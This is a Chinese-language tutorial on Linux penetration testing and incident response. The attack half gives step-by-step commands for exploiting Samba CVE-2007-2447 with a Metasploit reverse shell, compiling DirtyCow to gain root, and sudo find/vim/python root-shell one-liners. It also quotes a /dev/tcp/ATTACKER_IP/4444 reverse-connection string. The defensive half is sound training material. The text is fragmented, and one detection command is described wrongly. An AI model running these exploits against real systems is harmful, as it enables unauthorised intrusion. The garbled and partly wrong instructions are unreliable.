Linux Exploit实战演练与应急能力提升指南
Metasploit是Linux渗透测试的核心工具,通过自动化模块可快速利用已知漏洞获取系统权限。以Samba Usermap_script漏洞(CVE-2007-2447)为例,实战步骤如下:
msfconsole进入命令行界面。use exploit/multi/samba/usermap_script加载针对Samba服务的漏洞模块。show payloads查看可用Payload,选择cmd/unix/reverse(反向Shell,绕过防火墙限制),再输入set payload cmd/unix/reverse。show options查看需配置的参数,设置RHOST(靶机IP)、LHOST(攻击机IP),例如set RHOST 192.168.200.130、set LHOST 192.168.200.13。exploit启动漏洞利用,若成功会返回一个Shell会话,输入whoami验证权限(通常为root)。获取普通用户权限后,需进一步提升至Root以完全控制系统,常见方法包括:
uname -a(如Linux 4.4.0-21-generic);searchsploit linux kernel 4.4.0查找可用EXP(如DirtyCow,CVE-2016-5195);dirty.c),输入gcc -pthread dirty.c -o dirty -lcrypt编译,运行./dirty创建Root账户。sudo -l;find命令有Sudo权限,输入sudo find / -exec /bin/sh -p \;直接启动Root Shell;若vi或python有权限,可通过sudo vim -c ':!/bin/sh'或sudo python -c 'import os;os.system("/bin/sh")'提权。为提升应急响应能力,需进行攻防角色互换演练:
Wireshark监听网络流量(如tcpdump -i eth0 -w attack.pcap),捕获攻击数据包;通过Snort分析流量,识别异常连接(如Samba服务的139端口异常流量);提取攻击特征(如Shellcode的反向连接指令/dev/tcp/ATTACKER_IP/4444),定位攻击源IP和目标端口。应急响应需遵循“快速隔离→精准分析→有效处置→彻底恢复”的原则,具体步骤如下:
/var/log目录下的安全日志(/var/log/secure、/var/log/auth.log),查找异常登录记录(如last命令查看近期登录用户,grep "Accepted" /var/log/secure查看成功登录的IP);top(按CPU排序)、ps -aux(查看进程命令行)识别可疑进程(如CPU占用高、命令行含可疑URL的进程);使用netstat -antp(查看TCP连接)、ss -tulnp(查看UDP连接)查找异常网络连接(如与陌生IP的4444端口连接);find / -writable -type d 2>/dev/null查找系统可写目录(如/tmp),检查是否有恶意文件(如.sh、.elf后缀文件);使用find /usr/bin /usr/sbin -type f -mtime +7查找7天内被修改的系统文件(可能被篡改)。file命令查看文件类型、strings命令查看文件内容),动态分析(如在虚拟机中运行文件,观察其行为);kill -9 PID),删除恶意文件(rm -f /path/to/malicious_file);apt update && apt upgrade更新系统、yum update更新CentOS系统),禁用不必要的服务(systemctl stop service_name停止服务、systemctl disable service_name禁用开机启动),加强用户权限管理(删除多余用户、设置强密码)。rsync备份、tar归档),确保恢复的数据未被篡改。top(实时查看CPU、内存使用情况)、htop(更直观的进程管理)、iostat(查看磁盘I/O性能);logwatch(自动化日志分析,生成报告)、goaccess(分析Web服务器日志,如Nginx、Apache);netstat(查看网络连接状态)、ss(更高效的连接查看工具)、tcpdump(抓取网络数据包,如tcpdump -i eth0 -w attack.pcap);find(查找可疑文件,如find / -perm -u=s -type f查找SUID文件)、grep(搜索文件内容,如grep "malicious" /var/log/syslog)、chmod(修改文件权限,如chmod 644 /path/to/file);ClamAV(开源杀毒软件,clamscan -r /扫描系统)、rkhunter(检测Rootkit,rkhunter --check)。uname -a(内核版本)、cat /etc/os-release(发行版信息)、env(环境变量)等命令,快速了解系统基本情况;/var/log目录下日志文件的含义,快速定位攻击来源;sudo代替root登录),降低被攻击的风险。